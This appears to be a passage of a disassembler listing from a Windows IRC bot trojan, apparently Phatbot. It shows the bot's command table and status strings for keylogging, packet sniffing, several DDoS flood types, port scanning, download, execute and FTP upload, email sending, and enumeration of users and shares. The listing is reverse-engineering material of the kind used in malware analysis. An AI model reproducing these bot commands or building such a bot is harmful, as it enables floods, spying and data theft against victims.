dword_441554 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401C87+3C2Bo
aRegister db 'register',0 ; DATA XREF: sub_401C87+3C48o
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401C87+3C71o
aOff_0 db 'off',0 ; DATA XREF: sub_401C87+3C8Eo
unk_44158C db 2Dh ; - ; DATA XREF: sub_401C87+3CD5o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNick_1 db 'nick',0 ; DATA XREF: sub_401C87+3CF4o
align 2
aN db 'n',0 ; DATA XREF: sub_401C87+3D09o
aJoin_0 db 'join',0 ; DATA XREF: sub_401C87+3D1Eo
align 2
aJ db 'j',0 ; DATA XREF: sub_401C87+3D33o
aPart_2 db 'part',0 ; DATA XREF: sub_401C87+3D48o
align 4
aPt db 'pt',0 ; DATA XREF: sub_401C87+3D5Do
align 10h
aRaw db 'raw',0 ; DATA XREF: sub_401C87+3D72o
aR_0: ; DATA XREF: sub_401C87+3D87o
unicode 0, <r>,0
aKillthread db 'killthread',0 ; DATA XREF: sub_401C87+3D9Co
align 4
aK: ; DATA XREF: sub_401C87+3DB1o
unicode 0, <k>,0
aC_quit db 'c_quit',0 ; DATA XREF: sub_401C87+3DC6o
align 10h
aC_q db 'c_q',0 ; DATA XREF: sub_401C87+3DDBo
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401C87+3DF0o
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: sub_401C87+3E05o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401C87+3E1Ao
align 10h
aPr db 'pr',0 ; DATA XREF: sub_401C87+3E2Fo
align 4
aOpen db 'open',0 ; DATA XREF: sub_401C87+3E44o
align 2
aO db 'o',0 ; DATA XREF: sub_401C87+3E59o
aServer_0 db 'server',0 ; DATA XREF: sub_401C87+3E6Eo
align 4
aSe db 'se',0 ; DATA XREF: sub_401C87+3E83o
align 4
aDns db 'dns',0 ; DATA XREF: sub_401C87+3E98o
aDn db 'dn',0 ; DATA XREF: sub_401C87+3EADo
align 10h
aKillproc db 'killproc',0 ; DATA XREF: sub_401C87+3EC2o
align 4
aKp db 'kp',0 ; DATA XREF: sub_401C87+3ED7o
align 10h
aKill db 'kill',0 ; DATA XREF: sub_401C87+3EECo
align 4
aKi db 'ki',0 ; DATA XREF: sub_401C87+3F01o
align 4
aDelete db 'delete',0 ; DATA XREF: sub_401C87+3F16o
align 4
aDel db 'del',0 ; DATA XREF: sub_401C87+3F2Bo
aGet db 'get',0 ; DATA XREF: sub_401C87+3F40o
aGt db 'gt',0 ; DATA XREF: sub_401C87+3F55o
align 10h
aList db 'list',0 ; DATA XREF: sub_401C87+3F6Ao
align 4
aLi db 'li',0 ; DATA XREF: sub_401C87+3F7Fo
align 4
aVisit db 'visit',0 ; DATA XREF: sub_401C87+3F94o
aV db 'v',0 ; DATA XREF: sub_401C87+3FA9o
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401C87+3FBEo
aMirc db 'mirc',0 ; DATA XREF: sub_401C87+3FD3o
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401C87+3FE8o
aCm db 'cm',0 ; DATA XREF: sub_401C87+3FFDo
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401C87+4012o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401C87+4027o
align 4
aPsniff db 'psniff',0 ; DATA XREF: sub_401C87+403Co
align 4
aOn db 'on',0 ; DATA XREF: sub_401C87+4053o
align 4
dword_4416A8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4073o
aAlreadyRunni_1 db '- Already running.',0
align 4
dword_4416C8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+40D7o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_4416F8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4130o
aFailedToSta_11 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
aOff_2 db 'off',0 ; DATA XREF: sub_401C87+4152o
dword_441738 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87+4175o
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_441774 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401C87:loc_405E06o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 10h
aSniffer db 'sniffer',0 ; DATA XREF: sub_401C87+418Ao
aOn_0 db 'on',0 ; DATA XREF: sub_401C87+41A1o
align 4
unk_4417AC db 2Dh ; - ; DATA XREF: sub_401C87+41C1o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_2 db '- Already running.',0
unk_4417CC db 2Dh ; - ; DATA XREF: sub_401C87+4225o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_4417FC db 2Dh ; - ; DATA XREF: sub_401C87+427Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_12 db '- Failed to start sniffer thread, error: <%d>.',0
aOff_3 db 'off',0 ; DATA XREF: sub_401C87+42A0o
align 10h
unk_441840 db 2Dh ; - ; DATA XREF: sub_401C87+42C3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_441880 db 2Dh ; - ; DATA XREF: sub_401C87:loc_405F54o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
aIdent db 'ident',0 ; DATA XREF: sub_401C87+42D8o
align 4
aOn_1 db 'on',0 ; DATA XREF: sub_401C87+42EFo
align 4
dword_4418BC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4311o
aAlreadyRunni_3 db '- Already running.',0
align 4
dword_4418DC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87:loc_405FA2o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_441908 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4368o
aFailedToSta_13 db '- Failed to start server, error: <%d>.',0
align 4
aOff_4 db 'off',0 ; DATA XREF: sub_401C87+4375o
dword_441940 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87+4398o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_441978 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401C87:loc_406029o
aNoThreadFound_ db '- No thread found.',0
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401C87+43ADo
align 10h
aOn_2 db 'on',0 ; DATA XREF: sub_401C87+43C5o
align 4
aFile db 'file',0 ; DATA XREF: sub_401C87+43D6o
align 4
aOff_1 db 'off',0 ; DATA XREF: sub_401C87+43E7o
dword_4419B0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+440Ao
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
dword_4419EC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87:loc_40609Bo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_441A18 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+442Ao
aAlreadyRunni_4 db '- Already running.',0
align 4
aFile_0 db 'file',0 ; DATA XREF: sub_401C87+4441o
align 10h
dword_441A40 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+44ABo
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_441A64 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401C87+4504o
aFailedToSta_14 db '- Failed to start logging thread, error: <%d>.',0
align 10h
aNet db 'net',0 ; DATA XREF: sub_401C87+4533o
unk_441AA4 db 2Dh ; - ; DATA XREF: sub_401C87+4557o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aStart db 'start',0 ; DATA XREF: sub_401C87+4589o
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401C87+45A8o
align 4
unk_441AE8 db 2Dh ; - ; DATA XREF: sub_401C87+45DFo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
unk_441B0C db 2Dh ; - ; DATA XREF: sub_401C87:loc_406270o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
aStop db 'stop',0 ; DATA XREF: sub_401C87+45F6o
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401C87+4611o
align 4
aPause db 'pause',0 ; DATA XREF: sub_401C87+461Bo
align 10h
aS_3 db '%s',0 ; DATA XREF: sub_401C87+4636o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401C87+4643o
align 10h
aS_4 db '%s',0 ; DATA XREF: sub_401C87+465Eo
align 4
aDelete_0 db 'delete',0 ; DATA XREF: sub_401C87+466Bo
align 4
aS_5 db '%s',0 ; DATA XREF: sub_401C87+4686o
align 10h
aShare db 'share',0 ; DATA XREF: sub_401C87+4693o
align 4
aS_6 db '%s',0 ; DATA XREF: sub_401C87+46B9o
align 4
aS_7 db '%s',0 ; DATA XREF: sub_401C87+46CFo
align 10h
unk_441B70 db 2Dh ; - ; DATA XREF: sub_401C87+4707o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
unk_441B94 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406398o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
aUser_0 db 'user',0 ; DATA XREF: sub_401C87+471Eo
align 4
aS_8 db '%s',0 ; DATA XREF: sub_401C87+4754o
align 10h
aS_9 db '%s',0 ; DATA XREF: sub_401C87+476Fo
align 4
aS_10 db '%s',0 ; DATA XREF: sub_401C87+4780o
align 4
unk_441BC8 db 2Dh ; - ; DATA XREF: sub_401C87+47B8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_441BE8 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406446o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401C87+47C9o
align 10h
aS_11 db '%s',0 ; DATA XREF: sub_401C87+47F8o
align 4
unk_441C14 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406492o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
unk_441C38 db 2Dh ; - ; DATA XREF: sub_401C87:loc_406499o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
aCapture db 'capture',0 ; DATA XREF: sub_401C87+482Bo
aCap db 'cap',0 ; DATA XREF: sub_401C87+4840o
aGethost db 'gethost',0 ; DATA XREF: sub_401C87+4855o
aGh db 'gh',0 ; DATA XREF: sub_401C87+486Ao
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401C87+4893o
aKl db 'kl',0 ; DATA XREF: sub_401C87+48AAo
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401C87+48C1o
align 4
aAa db 'aa',0 ; DATA XREF: sub_401C87+48D8o
align 4
aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401C87+48EFo
aPm db 'pm',0 ; DATA XREF: sub_401C87+4906o
align 4
aAction db 'action',0 ; DATA XREF: sub_401C87+491Do
align 4
aA: ; DATA XREF: sub_401C87+4934o
unicode 0, <a>,0
aCycle db 'cycle',0 ; DATA XREF: sub_401C87+494Bo
align 4
aCy db 'cy',0 ; DATA XREF: sub_401C87+4962o
align 4
aMode_0 db 'mode',0 ; DATA XREF: sub_401C87+4979o
align 2
aM db 'm',0 ; DATA XREF: sub_401C87+4990o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401C87+49A7o
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401C87+49BEo
aC_mode db 'c_mode',0 ; DATA XREF: sub_401C87+49D5o
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401C87+49ECo
aC_nick db 'c_nick',0 ; DATA XREF: sub_401C87+4A03o
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401C87+4A1Ao
aC_join db 'c_join',0 ; DATA XREF: sub_401C87+4A31o
align 10h
aC_j db 'c_j',0 ; DATA XREF: sub_401C87+4A48o
aC_part db 'c_part',0 ; DATA XREF: sub_401C87+4A5Fo
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401C87+4A76o
aTarga3 db 'targa3',0 ; DATA XREF: sub_401C87+4A8Do
align 4
aT3 db 't3',0 ; DATA XREF: sub_401C87+4AA4o
align 4
aTsunami db 'tsunami',0 ; DATA XREF: sub_401C87+4ABBo
aTsn db 'tsn',0 ; DATA XREF: sub_401C87+4AD2o
aRepeat db 'repeat',0 ; DATA XREF: sub_401C87+4AE9o
align 10h
aRp db 'rp',0 ; DATA XREF: sub_401C87+4B00o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401C87+4B17o
align 4
aDe db 'de',0 ; DATA XREF: sub_401C87+4B2Eo
align 10h
aUpdate db 'update',0 ; DATA XREF: sub_401C87+4B45o
align 4
aUp_0 db 'up',0 ; DATA XREF: sub_401C87+4B5Co
align 4
aExecute db 'execute',0 ; DATA XREF: sub_401C87+4B73o
aE: ; DATA XREF: sub_401C87+4B8Ao
unicode 0, <e>,0
aFindfile db 'findfile',0 ; DATA XREF: sub_401C87+4BA1o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401C87+4BB8o
align 4
aRename db 'rename',0 ; DATA XREF: sub_401C87+4BCFo
align 10h
aMv db 'mv',0 ; DATA XREF: sub_401C87+4BE6o
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401C87+4BFDo
align 10h
aIcmp db 'icmp',0 ; DATA XREF: sub_401C87+4C14o
align 4
aClone_0 db 'clone',0 ; DATA XREF: sub_401C87+4C3Do
aC db 'c',0 ; DATA XREF: sub_401C87+4C54o
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401C87+4C6Bo
align 4
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401C87+4C82o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401C87+4C99o
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401C87+4CB0o
align 10h
unk_441DA0 db 2Dh ; - ; DATA XREF: sub_401C87+4D71o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 10h
aSynflood db 'synflood',0 ; DATA XREF: sub_401C87+4D93o
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401C87+4DAAo
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401C87+4DC1o
align 4
dword_441DF8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401C87+4E41o
aFloodingSSForS db '- Flooding: (%s:%s) for %s seconds.',0
dword_441E28 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401C87+4E9Do
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401C87+4EBFo
align 10h
aWonk db 'wonk',0 ; DATA XREF: sub_401C87+4ED6o
align 4
aDownload db 'download',0 ; DATA XREF: sub_401C87+4EEDo
align 4
aDl db 'dl',0 ; DATA XREF: sub_401C87+4F04o
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401C87+4F1Bo
align 4
aRd db 'rd',0 ; DATA XREF: sub_401C87+4F32o
align 4
aScan db 'scan',0 ; DATA XREF: sub_401C87+4F49o
align 10h
aSc db 'sc',0 ; DATA XREF: sub_401C87+4F60o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401C87+4F77o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401C87+4F8Eo
align 4
aC_action db 'c_action',0 ; DATA XREF: sub_401C87+4FA5o
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401C87+4FBCo
aPortscan db 'portscan',0 ; DATA XREF: sub_401C87+4FE2o
align 4
aPsc db 'psc',0 ; DATA XREF: sub_401C87+4FF9o
aAdvscan db 'advscan',0 ; DATA XREF: sub_401C87+5010o
aAsc db 'asc',0 ; DATA XREF: sub_401C87+5027o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401C87+503Eo
align 10h
aUdp db 'udp',0 ; DATA XREF: sub_401C87+5055o
aU: ; DATA XREF: sub_401C87+506Co
unicode 0, <u>,0
aNetsend db 'netsend',0 ; DATA XREF: sub_401C87+5083o
aNs db 'ns',0 ; DATA XREF: sub_401C87+509Ao
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401C87+50B1o
align 10h
aPing_0 db 'ping',0 ; DATA XREF: sub_401C87+50C8o
align 2
aP db 'p',0 ; DATA XREF: sub_401C87+50DFo
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401C87+50F6o
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401C87+510Do
aEmail db 'email',0 ; DATA XREF: sub_401C87+5124o
asc_441F2E db ' ',0 ; DATA XREF: sub_401C87+516Eo
a__0: ; DATA XREF: sub_401C87+5173o
unicode 0, <_>,0
align 8
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401C87+520Fo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
unk_441F84 db 2Dh ; - ; DATA XREF: sub_401C87+5283o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401C87+52D2o
aHcon db 'hcon',0 ; DATA XREF: sub_401C87+52E5o
align 4
aSyn_0 db 'syn',0 ; DATA XREF: sub_401C87+5343o
aAck db 'ack',0 ; DATA XREF: sub_401C87+535Bo
aRandom_0 db 'random',0 ; DATA XREF: sub_401C87+5372o
align 4
unk_441FC8 db 2Dh ; - ; DATA XREF: sub_401C87+5382o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401C87+5417o
aNormal db 'Normal',0 ; DATA XREF: sub_401C87+541Eo
align 4
unk_442004 db 2Dh ; - ; DATA XREF: sub_401C87+542Eo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
unk_442038 db 2Dh ; - ; DATA XREF: sub_401C87+5492o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_442070 db 2Dh ; - ; DATA XREF: sub_401C87:loc_407135o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTi db '- Invalid flood time must be greater than 0.',0
align 4
unk_4420A8 db 2Dh ; - ; DATA XREF: sub_401C87+557Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 10h
unk_4420F0 db 2Dh ; - ; DATA XREF: sub_401C87+55D7o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_17 db 'Failed to start flood thread, error: <%d>.',0
align 4
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401C87+5601o
align 10h
unk_442140 db 2Dh ; - ; DATA XREF: sub_401C87+561Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
unk_44217C db 2Dh ; - ; DATA XREF: sub_401C87+56CEo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_4421B4 db 2Dh ; - ; DATA XREF: sub_401C87+56F2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_4421E8 db 2Dh ; - ; DATA XREF: sub_401C87+5726o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 10h
unk_442220 db 2Dh ; - ; DATA XREF: sub_401C87+57D4o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_442268 db 2Dh ; - ; DATA XREF: sub_401C87+582Do
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_18 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_4422A0 db 2Dh ; - ; DATA XREF: sub_401C87+5875o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0
align 10h
aUpload db 'upload',0 ; DATA XREF: sub_401C87+58ABo
align 4
unk_4422E8 db 2Dh ; - ; DATA XREF: sub_401C87+58CEo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401C87+5954o
align 4
aAb db 'ab',0 ; DATA XREF: sub_401C87+5965o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401C87+5989o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 10h
aSS_0 db '-s:%s',0 ; DATA XREF: sub_401C87+59A9o
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401C87+59C0o
aOpen_0 db 'open',0 ; DATA XREF: sub_401C87+59C5o
align 4
unk_442358 db 2Dh ; - ; DATA XREF: sub_401C87+59D9o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s',0
align 10h
unk_442380 db 2Dh ; - ; DATA XREF: sub_401C87:loc_407667o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0
align 10h
unk_4423B0 db 2Dh ; - ; DATA XREF: sub_401C87+5B04o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_19 db 'Failed to start scan, port is invalid.',0
align 4
unk_4423E4 db 2Dh ; - ; DATA XREF: sub_401C87+5B61o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_20 db 'Failed to start scan, no IP specified.',0
align 4
aRandom_1 db 'Random',0 ; DATA XREF: sub_401C87+5CA5o
align 10h
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401C87+5CACo
align 10h
unk_442430 db 2Dh ; - ; DATA XREF: sub_401C87+5CD7o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_442498 db 2Dh ; - ; DATA XREF: sub_401C87+5D30o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_21 db 'Failed to start scan thread, error: <%d>.',0
align 10h
unk_4424D0 db 2Dh ; - ; DATA XREF: sub_401C87+5DDCo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 10h
unk_442520 db 2Dh ; - ; DATA XREF: sub_401C87+5E35o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_22 db 'Failed to start scan thread, error: <%d>.',0
align 4
dword_44255C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401C87+5EABo
dword_442568 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_401C87+5F3Fo
dword_442578 dd 5D73255Bh, 73253C20h, 7325203Eh, 0 ; DATA XREF: sub_401C87+6041o
unk_442588 db 2Dh ; - ; DATA XREF: sub_401C87+60C5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
unk_4425C4 db 2Dh ; - ; DATA XREF: sub_401C87+611Eo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_23 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_4425FC db 2Dh ; - ; DATA XREF: sub_401C87+61BEo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_442638 db 2Dh ; - ; DATA XREF: sub_401C87+6217o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_44267C db 2Dh ; - ; DATA XREF: sub_401C87+62F8o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_4426A8 db 2Dh ; - ; DATA XREF: sub_401C87+6351o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToSta_24 db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_4426E8 db 2Dh ; - ; DATA XREF: sub_401C87+63DCo
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSForSS db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_442724 db 2Dh ; - ; DATA XREF: sub_401C87+6438o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToSta_25 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_44275C db 2Dh ; - ; DATA XREF: sub_401C87+64C3o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_44278C db 2Dh ; - ; DATA XREF: sub_401C87+651Fo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToSta_26 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_4427C4 db 2Dh ; - ; DATA XREF: sub_401C87+65BBo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSFo_1 db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_4427F4 db 2Dh ; - ; DATA XREF: sub_401C87+6617o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start flood thread, error: <%d>.',0
align 4
dword_44282C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401C87+66BEo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
dword_44285C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401C87+6717o
aFailedToSta_28 db '- Failed to start clone thread, error: <%d>.',0
align 4
unk_442898 db 2Dh ; - ; DATA XREF: sub_401C87+67A3o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
unk_4428C4 db 2Dh ; - ; DATA XREF: sub_401C87+6807o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
